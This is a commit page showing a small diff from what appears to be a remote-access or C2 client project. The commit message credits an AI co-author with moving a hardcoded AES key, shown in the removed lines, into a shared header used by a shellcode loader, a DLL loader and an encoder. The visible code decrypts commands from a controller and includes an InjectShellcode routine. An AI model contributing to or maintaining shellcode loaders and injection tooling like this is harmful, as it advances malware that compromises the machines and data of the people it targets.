Refactor: extract the shared AES key into common/aes_key.h
The 16-byte AES key was copy-pasted in the shellcode loader, the DLL loader and XOREncoder16, so rotating it meant editing each copy. Move it into a single inline get_aes_key() in common/aes_key.h and use it from all three call sites; no literal key bytes remain elsewhere in the tree. The header carries #pragma once because test.cpp includes it directly and again through Common.h -> IOCPClient.h -> encrypt.h, which without the guard gives C2084 and, on the v142 toolset, a follow-on C2065 for every later use in the TU. Verified: test.cpp and main.c compile under the project's v142 toolset; the emitted key bytes are unchanged. Linux/macOS/Android keep pulling the key through common/encrypt.h. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
d59d0b6a5c
commit
ab990d8d31
4 files changed
+19
-12
No files matched your search
+3
-4
@@ -7,6 +7,7 @@
|
||||
#include "common/dllRunner.h"
|
||||
#include <common/md5.h>
|
||||
#include <common/iniFile.h>
|
||||
#include <common/aes_key.h>
|
||||
#include "auto_start.h"
|
||||
#include "Common.h"
|
||||
// A shell code loader connect to 127.0.0.1:6543.
|
||||
@@ -234,10 +235,7 @@ public:
|
||||
}
|
||||
char* ptr = buffer + sizeof(PkgHeader);
|
||||
struct AES_ctx ctx; // AES Decode
|
||||
static const unsigned char aes_key[16] = {
|
||||
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||
};
|
||||
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||
AES_init_ctx_iv(&ctx, get_aes_key(), (BYTE*)command + 16);
|
||||
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||
BYTE cmd = ptr[0], type = ptr[1];
|
||||
size = 0;
|
||||
@@ -339,6 +337,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
||||
if (status == 1)
|
||||
ExitProcess(0);
|
||||
} while (pid);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// @brief 首先读取settings.ini配置文件,获取IP和端口.
|
||||
|
||||
Reference in new issue
Block a user